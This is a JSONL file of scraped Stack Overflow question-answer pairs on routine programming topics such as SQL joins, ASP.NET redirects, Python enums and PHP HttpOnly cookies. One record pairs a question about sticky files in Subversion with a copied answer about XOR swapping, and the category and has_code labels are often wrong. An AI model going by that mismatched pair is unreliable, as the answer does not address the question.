"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.813710"}
{"id": "hf_2e6455db66f7", "question": "<p>I am working on a project management web application.  The user has a variety of ways to display a list of tasks.  When viewing a list page, they click on task and are redirected to the task edit page.  </p>\n\n<p>Since they are coming from a variety of ways, I am just curious as to the <strong>best</strong> way to <strong>redirect</strong> the user back to the calling page.  I have some ideas, but would like to get other developers input.</p>\n\n<p>Would you store the <strong>calling</strong> url in session? as a cookie?  I like the concept of using an object <strong>handle</strong> the redirection.</p>\n", "question_body": "", "answer": "I personally would store the required redirection info in an object and handle globally. I would avoid using a QueryString param or the like since they could try bouncing themselves back to a page they are not supposed to (possible security issue?). You could then create a static method to handle the redirection object, which could read the information and act accordingly. This encapsulates your redirection process within one page.\nUsing an object also means you can later extend it if required (such as adding return messages and other info).\nFor example (this is a 2 minute rough guideline BTW!):\n```\n```\npublic partial class _Default : System.Web.UI.Page \n{\n\n    void Redirect(string url, string messsage)\n    {\n        RedirectionParams paras = new RedirectionParams(url, messsage);\n        RedirectionHandler(paras); // pass to some global method (or this could BE the global method)\n    }\n    protected void Button1_Click(object sender, EventArgs e)\n    {\n        Redirect(\"mypage.aspx\", \"you have been redirected\");\n    }\n}\n\npublic class RedirectionParams\n{\n    private string _url;\n\n    public string URL\n    {\n        get { return _url; }\n        set { _url = value; }\n    }\n\n    private string _message;\n\n    public string Message\n    {\n        get { return _message; }\n        set { _message = value; }\n    }\n\n    public RedirectionParams(string url, string message)\n    {\n        this.URL = url;\n        this.Message = message;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.838912"}
{"id": "hf_46685e622caa", "question": "<p>What's the best way to asynchronously load an BitmapImage in C# using WPF?  </p>\n", "question_body": "", "answer": "Assuming you're using data binding, setting\nBinding.IsAsync\nproperty to True seems to be a standard way to achieve this.\nIf you're loading the bitmap in the code-behind file using background thread + Dispatcher object is a common way to update UI asynchronous", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.876547"}
{"id": "hf_e8ea7347915d", "question": "<p>I have three tables: page, attachment, page-attachment</p>\n\n<p>I have data like this:</p>\n\n<pre><code>page\nID    NAME\n1     first page\n2     second page\n3     third page\n4     fourth page\n\nattachment\nID    NAME\n1     foo.word\n2     test.xsl\n3     mm.ppt\n\npage-attachment\nID    PAGE-ID   ATTACHMENT-ID\n1     2         1\n2     2         2\n3     3         3\n</code></pre>\n\n<p>I would like to get the number of attachments per page <strong>also when that number is 0</strong>. I have tried with: </p>\n\n<pre><code>select page.name, count(page-attachment.id) as attachmentsnumber \nfrom page \n    inner join page-attachment on page.id=page-id \ngroup by page.id\n</code></pre>\n\n<p>I am getting this output: </p>\n\n<pre><code>NAME        ATTACHMENTSNUMBER\nsecond page  2\nthird page   1\n</code></pre>\n\n<p>I would like to get this output:</p>\n\n<pre><code>NAME        ATTACHMENTSNUMBER\nfirst page   0\nsecond page  2\nthird page   1\nfourth page  0\n</code></pre>\n\n<p>How do I get the 0 part?</p>\n", "question_body": "", "answer": "Change your \"inner join\" to a \"left outer join\", which means \"get me all the rows on the left of the join, even if there isn't a matching row on the right.\"\n```\n```\nselect page.name, count(page-attachment.id) as attachmentsnumber \nfrom page \n    left outer join page-attachment on page.id=page-id \ngroup by page.name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.900584"}
{"id": "hf_ec521e08c024", "question": "<p>When and how should table stats gathering be performed for Oracle, version 9 and up? How would you go about gathering stats for a large database, where stats gathering would collide with \"business hours\".</p>\n", "question_body": "", "answer": "Gathering stats should be done whenever there has been large changes to the data content, for example a large number of deletes or inserts.  If the table structure has changed you should gather stats also.  It is advisable to use the 'ESTIMATE' option.\nDo this as an automated process out of business hours if possible, or if you have to do it during business hours then choose a time when there is minimum access to the tables you wish to gather stats for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.958075"}
{"id": "hf_8c746c06453e", "question": "<p>I am using forms authentication. My users are redirected to a page (written in web.config) when they login, but some of them may not have the privilages to access this default page. In this case, I want them to redirect to another page but RedirectFromLoginPage method always redirects to the default page in web.config. How do I make the users login, and then redirect to a page which depends on some criteria?</p>\n", "question_body": "", "answer": "The\n```\nSetAuthCookie\n```\nallows you to issue the auth cookie but retain control over the navigation. After that method is called you can run your logic to do a typical ASP.NET redirect to wherever you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.037588"}
{"id": "hf_d34f0a6c24e9", "question": "<p>How can I set the cookies in my <code>PHP apps</code> as <code>HttpOnly cookies</code>?</p>\n", "question_body": "", "answer": "Explanation here from Ilia... 5.2 only though\nhttpOnly cookie flag support in PHP 5.2\nAs stated in that article, you can set the header yourself in previous versions of PHP\n```\n```\nheader(\"Set-Cookie: hidden=value; httpOnly\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.060943"}
{"id": "hf_03b7c2fd12d7", "question": "<p>What do <code>*args</code> and <code>**kwargs</code> mean?</p>\n<pre><code>def foo(x, y, *args):\ndef bar(x, y, **kwargs):\n</code></pre>\n", "question_body": "", "answer": "From the Python documentation:\nIf there are more positional arguments than there are formal parameter slots, a TypeError exception is raised, unless a formal parameter using the syntax \"*identifier\" is present; in this case, that formal parameter receives a tuple containing the excess positional arguments (or an empty tuple if there were no excess positional arguments).\nIf any keyword argument does not correspond to a formal parameter name, a TypeError exception is raised, unless a formal parameter using the syntax \"**identifier\" is present; in this case, that formal parameter receives a dictionary containing the excess keyword arguments (using the keywords as keys and the argument values as corresponding values), or a (new) empty dictionary if there were no excess keyword arguments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.117898"}
{"id": "hf_3f94243c7a88", "question": "<p>I want to swap two integers, and I want to know which of these two implementations will be faster:\nThe obvious way with a temp variable:</p>\n\n<pre><code>void swap(int* a, int* b)\n{\n    int temp = *a;\n    *a = *b;\n    *b = temp;\n}\n</code></pre>\n\n<p>Or the xor version that I'm sure most people have seen:</p>\n\n<pre><code>void swap(int* a, int* b)\n{\n    *a ^= *b;\n    *b ^= *a;\n    *a ^= *b;\n}\n</code></pre>\n\n<p>It seems like the first uses an extra register, but the second one is doing three loads and stores while the first only does two of each.  Can someone tell me which is faster and why?  The why being more important.</p>\n", "question_body": "", "answer": "Number 2 is often quoted as being the \"clever\" way of doing it. It is in fact most likely slower as it obscures the explicit aim of the programmer - swapping two variables. This means that a compiler can't optimize it to use the actual assembler ops to swap. It also assumes the ability to do a bitwise xor on the objects.\nStick to number 1, it's the most generic and most understandable swap and can be easily templated/genericized.\nThis wikipedia section explains the issues quite well:\nhttp://en.wikipedia.org/wiki/XOR_swap_algorithm#Reasons_for_avoidance_in_practice", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.142073"}
{"id": "hf_e608f5b461c9", "question": "<p>We have been working with CVS for years, and frequently find it useful to \"sticky\" a single file here and there.</p>\n\n<p>Is there any way to do this in subversion, specifically from TortoiseSVN?</p>\n", "question_body": "", "answer": "Number 2 is often quoted as being the \"clever\" way of doing it. It is in fact most likely slower as it obscures the explicit aim of the programmer - swapping two variables. This means that a compiler can't optimize it to use the actual assembler ops to swap. It also assumes the ability to do a bitwise xor on the objects.\nStick to number 1, it's the most generic and most understandable swap and can be easily templated/genericized.\nThis wikipedia section explains the issues quite well:\nhttp://en.wikipedia.org/wiki/XOR_swap_algorithm#Reasons_for_avoidance_in_practice", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.165485"}
{"id": "hf_da0f438abc81", "question": "<p>I'm mainly a C# developer, but I'm currently working on a project in Python.</p>\n\n<p>How can I represent the equivalent of an Enum in Python?  </p>\n", "question_body": "", "answer": "Before PEP 435, Python didn't have an equivalent but you could implement your own.\nMyself, I like keeping it simple (I've seen some horribly complex examples on the net), something like this ...\n```\n```\nclass Animal:\n    DOG = 1\n    CAT = 2\n\nx = Animal.DOG\n```\n```\nIn Python 3.4 (\nPEP 435\n), you can make\nEnum\nthe base class.  This gets you a little bit of extra functionality, described in the PEP.  For example, enum members are distinct from integers, and they are composed of a\n```\nname\n```\nand a\n```\nvalue\n```\n.\n```\n```\nfrom enum import Enum\n\nclass Animal(Enum):\n    DOG = 1\n    CAT = 2\n\nprint(Animal.DOG)\n# <Animal.DOG: 1>\n\nprint(Animal.DOG.value)\n# 1\n\nprint(Animal.DOG.name)\n# \"DOG\"\n```\n```\nIf you don't want to type the values, use the following shortcut:\n```\n```\nclass Animal(Enum):\n    DOG, CAT = range(2)\n```\n```\n```\nEnum\n```\nimplementations\ncan be converted to lists and are iterable\n. The order of its members is the declaration order and has nothing to do with their values. For example:\n```\n```\nclass Animal(Enum):\n    DOG = 1\n    CAT = 2\n    COW = 0\n\nlist(Animal)\n# [<Animal.DOG: 1>, <Animal.CAT: 2>, <Animal.COW: 0>]\n\n[animal.value for animal in Animal]\n# [1, 2, 0]\n\nAnimal.CAT in Animal\n# True\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.201290"}
{"id": "hf_a3d4e75c4c8e", "question": "<p>In MS SQL Server, I create my scripts to use customizable variables:</p>\n\n<pre><code>DECLARE @somevariable int  \nSELECT @somevariable = -1\n\nINSERT INTO foo VALUES ( @somevariable )\n</code></pre>\n\n<p>I'll then change the value of <code>@somevariable</code> at runtime, depending on the value that I want in the particular situation. Since it's at the top of the script it's easy to see and remember.</p>\n\n<p>How do I do the same with the PostgreSQL client <code>psql</code>?</p>\n", "question_body": "", "answer": "FWIW, the real problem was that I had included a semicolon at the end of my \\set command:\n\\set owner_password 'thepassword';\nThe semicolon was interpreted as an actual character in the variable:\n\\echo :owner_password\n  thepassword;\nSo when I tried to use it:\nCREATE ROLE myrole LOGIN UNENCRYPTED PASSWORD :owner_password NOINHERIT CREATEDB CREATEROLE VALID UNTIL 'infinity';\n...I got this:\nCREATE ROLE myrole LOGIN UNENCRYPTED PASSWORD thepassword; NOINHERIT CREATEDB CREATEROLE VALID UNTIL 'infinity';\nThat not only failed to set the quotes around the literal, but split the command into 2 parts (the second of which was invalid as it started with \"NOINHERIT\").\nThe moral of this story: PostgreSQL \"variables\" are really macros used in text expansion, not true values. I'm sure that comes in handy, but it's tricky at first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.248994"}
{"id": "hf_3bdf7a7793f3", "question": "<p>Should you ever use protected member variables?  What are the the advantages and what issues can this cause?</p>\n", "question_body": "", "answer": "Should you ever use protected member variables?\nDepends on how picky you are about hiding state.\nIf you don't want any leaking of internal state, then declaring all your member variables private is the way to go.\nIf you don't really care that subclasses can access internal state, then protected is good enough.\nIf a developer comes along and subclasses your class they may mess it up because they don't understand it fully.  With private members, other than the public interface, they can't see the implementation specific details of how things are being done which gives you the flexibility of changing it later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.317869"}
{"id": "hf_b76f3d3d1d88", "question": "<p>It is generally accepted that the use of cursors in stored procedures should be avoided where possible (replaced with set based logic etc). If you take the cases where you need to iterate over some data, and can do in a read only manner, are fast forward (read only forward) cursor more or less inefficient than say while loops? From my investigations it looks as though the cursor option is generally faster and uses less reads and cpu time.  I haven't done any extensive testing, but is this what others find?  Do cursors of this type (fast forward) carry additional overhead or resource that could be expensive that I don't know about.</p>\n<p>Is all the talk about not using cursors really about avoiding the use of cursors when set-based approaches are available, and the use of updatable cursors etc.</p>\n", "question_body": "", "answer": "People avoid cursor because they generally are more difficult to write than a simple while loops, however, a while loop can be expensive because your constantly selecting data from a table, temporary or otherwise.\nWith a cursor, which is readonly fast forward, the data is kept in memory and has been specifically designed for looping.\nThis article\nhighlights that an average cursor runs 50 times faster than a while loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.350823"}
{"id": "hf_4d9aca8831c3", "question": "<p>I'm currently using and enjoying using the Flex MVC framework <a href=\"http://www.puremvc.org\" rel=\"noreferrer\">PureMVC</a>.  I have heard some good things about Cairngorm, which is supported by Adobe and has first-to-market momentum.  And there is a new player called Mate, which has a good deal of buzz.</p>\n\n<p>Has anyone tried two or three of these frameworks and formed an opinion?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Mate\nis my pick. The first and foremost reason is that it is completely unobtrusive. My application code has no dependencies on the framework, it is highly decoupled, reusable and testable.\nOne of the nicest features of Mate is the declarative configuration, essentially you wire up your application in using tags in what is called an event map -- basically a list of events that your application generates, and what actions to take when they occur. The event map gives a good overview of what your application does. Mate uses Flex' own event mechanism, it does not invent its own like most other frameworks. You can dispatch an event from anywhere in the view hierarchy and have it bubble up to the framework automatically, instead of having to have a direct line, like Cairngorms CairngormEventDispatcher or PureMVC's notification system.\nMate also uses a form of dependency injection (leveraging bindings) that makes it possible to connect your models to your views without either one knowing about the other. This is probably the most powerful feature of the framework.\nIn my view none of the other Flex application frameworks come anywhere near Mate. However, these are the contenders and why I consider them to be less useful:\nPureMVC actively denies you many of the benefits of Flex (for example bindings and event bubbling) in order for the framework to be portable -- a doubious goal in my view. It is also over-engineered, and as invasive as they come. Every single part of your application depends on the framework. However, PureMVC isn't terrible, just not a very good fit for Flex. An alternative is\nFlexMVCS\n, an effort to make PureMVC more suitable for Flex (unfortunately there's no documentation yet, just source).\nCairngorm is a bundle of anti-patterns that lead to applications that are tightly coupled to global variables. Nuff said (but if you're interested,\nhere are some more of my  thoughts\n, and\nhere too\n).\nSwiz\nis a framework inspired by the Spring framework for Java and Cairngorm (trying to make up for the worst parts of the latter). It provides a dependency injection container and uses metadata to enable auto-wiring of dependencies. It is interesting, but a little bizzare in that goes to such lengths to avoid the global variables of Cairngorm by using dependency injection but then uses a global variable for central event dispatching.\nThose are the ones I've tried or researched. There are a few others that I've heard about, but none that I think are widely used. Mate and Swiz were both presented at the recent 360|Flex conference, and there are videos available (\nthe Mate folks have instructions on how to watch them\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.392675"}
{"id": "hf_dce45095e700", "question": "<p>Has anyone used Lucene.NET rather than using the full text search that comes with sql server?</p>\n\n<p>If so I  would be interested on how you implemented it. </p>\n\n<p>Did you for example write a windows service that queried the database every hour then saved the results to the lucene.net index?</p>\n", "question_body": "", "answer": "I have not done it against database yet, your question is kinda open.\nIf you want to search an db, and can choose to use Lucene, I also guess that you can control when data is inserted to the database.\nIf so, there is little reason to poll the db to find out if you need to reindex, just index as you insert, or create an queue table which can be used to tell lucene what to index.\nI think we don't need another indexer that is ignorant about what it is doing, and reindexing everytime, or uses resources wasteful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.456390"}
{"id": "hf_b1a12a890ae1", "question": "<p>On Mac OS X 10.5 I downloaded the latest version of Apache 2.2.9. After the usual configure, make, make install dance I had a build of apache without mod_rewrite. This wasn't statically linked and the module was not built in the /modules folder either.</p>\n\n<p>I had to do the following to build Apache and mod_rewrite:</p>\n\n<pre><code>./configure --prefix=/usr/local/apache2 --enable-rewrite=shared\n</code></pre>\n\n<ul>\n<li>Is there a way to tell Apache to build all modules as Shared Modules (DSOs) so I can control loading from the Apache config?</li>\n<li>Now that I have built Apache and the mod_rewrite DSO, how can I build another shared module without building all of Apache?</li>\n</ul>\n\n<p>(The last time I built Apache (2.2.8) on Solaris, by default it built everything as a shared module.)</p>\n", "question_body": "", "answer": "Try the\n```\n./configure\n```\noption\n```\n--enable-mods-shared=\"all\"\n```\n, or\n```\n--enable-mods-shared=\"<list of modules>\"\n```\nto compile modules as shared objects. See further\ndetails in Apache 2.2 docs\nTo just compile Apache with the ability to load shared objects (and add modules later), use\n```\n--enable-so\n```\n, then consult the documentation on compiling modules seperately in the\nApache 2.2. DSO docs\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.493149"}
{"id": "hf_ca88ca019455", "question": "<p>This is a somewhat low-level question.  In x86 assembly there are two SSE instructions: </p>\n\n<blockquote>\n  <p><code>MOVDQA <i><em>xmmi, m128</em></i></code></p>\n</blockquote>\n\n<p>and  </p>\n\n<blockquote>\n  <p><code>MOVNTDQA <i><em>xmmi, m128</em></i></code></p>\n</blockquote>\n\n<p>The IA-32 Software Developer's Manual says that the <em>NT</em> in MOVNTDQA stands for <em>Non-Temporal</em>, and that otherwise it's the same as MOVDQA.</p>\n\n<p>My question is, what does <em>Non-Temporal</em> mean?  </p>\n", "question_body": "", "answer": "Non-Temporal SSE instructions (MOVNTI, MOVNTQ, etc.), don't follow the normal cache-coherency rules. Therefore non-temporal stores must be followed by an SFENCE instruction in order for their results to be seen by other processors in a timely fashion.\nWhen data is produced and not (immediately) consumed again, the fact that memory store operations read a full cache line first and then modify the cached data is detrimental to performance. This operation pushes data out of the caches which might be needed again in favor of data which will not be used soon. This is especially true for large data structures, like matrices, which are filled and then used later. Before the last element of the matrix is filled the sheer size evicts the first elements, making caching of the writes ineffective.\nFor this and similar situations, processors provide support for non-temporal write operations. Non-temporal in this context means the data will not be reused soon, so there is no reason to cache it. These non-temporal write operations do not read a cache line and then modify it; instead, the new content is directly written to memory.\nSource:\nhttp://lwn.net/Articles/255364/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.517576"}
{"id": "hf_d5a801b0f4d9", "question": "<p>What is currently the best way to get a favicon to display in all browsers that currently support it?</p>\n\n<p>Please include:</p>\n\n<ol>\n<li><p>Which image formats are supported by which browsers.</p></li>\n<li><p>Which lines are needed in what places for the various browsers.</p></li>\n</ol>\n", "question_body": "", "answer": "Having a\n```\nfavicon.*\n```\nin your root directory is automatically detected by most browsers. You can ensure it's detected by using:\n```\n```\n<link rel=\"icon\" type=\"image/png\" href=\"/path/image.png\" />\n```\n```\nPersonally I use .png images but most formats should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.544687"}
{"id": "hf_c5fffbc5841e", "question": "<p>How do I avoid read locks in my database?</p>\n\n<p>Answers for multiple databases welcome!</p>\n", "question_body": "", "answer": "In SQL Server you can use the with(nolock) keyword in your select statements.  For example:\n```\n```\nSelect table1.columna, table2.columna\nfrom table1 with(nolock), table2 with(nolock)\n```\n```\nMake sure to specify with(nolock) for each table/view in the query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.580582"}
{"id": "hf_bde3262ef35f", "question": "<p>Is there a way clear or reset the outputcache for an entire website without a restart?</p>\n\n<p>I'm just starting to use outputcache on a site and when I make a mistake in setting it up I need a page I can browse to that will reset it.</p>\n", "question_body": "", "answer": "This should do the trick:\n```\n```\nPrivate Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs)\n\n Dim path As String\n path=\"/AbosoluteVirtualPath/OutputCached.aspx\"\n HttpResponse.RemoveOutputCacheItem(path)\n\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.602792"}
{"id": "hf_7645d9fccec4", "question": "<p>I have a container div with a fixed <code>width</code> and <code>height</code>, with <code>overflow: hidden</code>.</p>\n<p>I want a horizontal row of float: left divs within this container. Divs which are floated left will naturally push onto the 'line' below after they read the right bound of their parent. This will happen even if the <code>height</code> of the parent should not allow this. This is how this looks:</p>\n<p><img src=\"https://i.stack.imgur.com/v2x7d.png\" alt=\"Wrong\" /></p>\n<p>How I would like it to look:</p>\n<p>![Right][2] - <em>removed image shack image that had been replaced by an advert</em></p>\n<p>Note: the effect I want can be achieved by using inline elements &amp; <code>white-space: no-wrap</code> (that is how I did it in the image shown). This, however, is no good to me (for reasons too lengthy to explain here), as the child divs need to be floated block level elements.</p>\n", "question_body": "", "answer": "This seems close to what you want:\n```\n```\n#foo {\n  background: red;\n  max-height: 100px;\n  overflow-y: hidden;\n}\n\n.bar {\n  background: blue;\n  width: 100px;\n  height: 100px;\n  float: left;\n  margin: 1em;\n}\n```\n```\n```\n```\n<div id=\"foo\">\n  <div class=\"bar\"></div>\n  <div class=\"bar\"></div>\n  <div class=\"bar\"></div>\n  <div class=\"bar\"></div>\n  <div class=\"bar\"></div>\n  <div class=\"bar\"></div>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.625455"}
{"id": "hf_17fe6c83f46b", "question": "<p>What's are the best practices for versioning web sites?</p>\n\n<ul>\n<li>Which revision control systems are well suited for such a job?</li>\n<li>What special-purpose tools exist?</li>\n<li>What other questions should I be asking?</li>\n</ul>\n", "question_body": "", "answer": "Firstly you can - and should - use a revision control system, most will handle binary files although unlike text files you can't merge two different set of changes so you may want to set the system up to lock these files whilst they are being changed (assuming that that's not the default mode of operation for you rcs in the first place).\nWhere things get a bit more interesting for Websites is managing those files that are required for the site but don't actually form part of the site - the most obvious example being something like .psd files from which web graphics are produced but which don't get deployed.\nWe therefore have a tree for each site which has two folders: assets and site. Assets are things that aren't in the site, and site is - well the site.\nWhat you have to watch with this is that designers tend to have their own \"systems\" for \"versioning\" graphic files (count the layers in the PSD). You don't need necessarily to stop them doing this but you do need to ensure that they commit each change too.\nOther questions?\nDeployment. We're still working on this one (-: But we're getting better (I'm happier now with what we do!)\nMurph", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.649042"}
{"id": "hf_920fe485832c", "question": "<p>We generate web pages that should always be printed in landscape mode. Web browser print dialogs default to portrait, so for every print job the user has to manually select landscape. It's minor, but would be nice for the user if we can remove this unnecessary step.  </p>\n\n<p>Thanks in advance to all respondents.</p>\n", "question_body": "", "answer": "The\n```\n@page\n```\nrule is supposed to allow this, but is only implemented in Opera.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.700116"}
{"id": "hf_cdd7a8bd6093", "question": "<ol>\n<li>Specifically getting on Windows the \"..\\Documents &amp; Settings\\All Users, basicaly any path that needs the front end to be dynamically derived based on the OS your software is running on. <strong>(Now I need the answer to this)</strong></li>\n<li>the current users My Documents  dirctory <strong>(okay this has been answered)</strong> \nand basicaly any path that needs the front end to be dynamically derived based on the OS your software is running on.</li>\n</ol>\n", "question_body": "", "answer": "My docs would probably best be handled by accessing:\n```\n```\nSystem.getProperty(\"user.home\");\n```\n```\nLook up the docs on\nSystem.getProperty\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.760977"}
{"id": "hf_dcc0bcdb2063", "question": "<p>What is the SQL query to select all of the MSSQL Server's logins?</p>\n\n<p>Thank you.  More than one of you had the answer I was looking for:</p>\n\n<pre><code>SELECT * FROM syslogins \n</code></pre>\n", "question_body": "", "answer": "```\n```\nEXEC sp_helplogins\n```\n```\nYou can also pass an \"@LoginNamePattern\" parameter to get information about a specific login:\n```\n```\nEXEC sp_helplogins @LoginNamePattern='fred'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.849937"}
{"id": "hf_18b767151713", "question": "<p>I have developed some classes with similar behavior, they all implement the same interface.  I implemented a factory that creates the appropriate object and returns the interface.  I am writing a unit test for the factory.  All you get back is an interface to the object.\nWhat is the best way to test that the factory has worked correctly?</p>\n\n<p>I would like to know the answer in Java, but if there is a solution that crosses languages I would like to know it.</p>\n\n<p>Number 2. in the answer, would be done like the other answer?  If so I will mark the other answer accepted as well and reword my question to adress both a factory where an interface is returned and you have no clue what type of concrete class implemented the interface, and the case where you do know what concrete class was used.</p>\n", "question_body": "", "answer": "Since I don't know how your factory method looks like, all I can advise right now is to\nCheck to see the object is the correct concrete implementation you were looking for:\n```\n```\nIMyInterface fromFactory = factory.create(...);  \nAssert.assertTrue(fromFactory instanceof MyInterfaceImpl1);\n```\n```\nYou can check if the factory setup the concrete instances with valid instance variables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.910961"}
{"id": "hf_f5303b19138a", "question": "<p>I'm writing a LINQ to SQL statement, and I'm after the standard syntax for a normal inner join with an <code>ON</code> clause in C#.</p>\n\n<p>How do you represent the following in LINQ to SQL:</p>\n\n<pre><code>select DealerContact.*\nfrom Dealer \ninner join DealerContact on Dealer.DealerID = DealerContact.DealerID\n</code></pre>\n", "question_body": "", "answer": "It goes something like:\n```\n```\nfrom t1 in db.Table1\njoin t2 in db.Table2 on t1.field equals t2.field\nselect new { t1.field2, t2.field3}\n```\n```\nIt would be nice to have sensible names and fields for your tables for a better example. :)\nUpdate\nI think for your query this might be more appropriate:\n```\n```\nvar dealercontacts = from contact in DealerContact\n                     join dealer in Dealer on contact.DealerId equals dealer.ID\n                     select contact;\n```\n```\nSince you are looking for the contacts, not the dealers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:23.946502"}
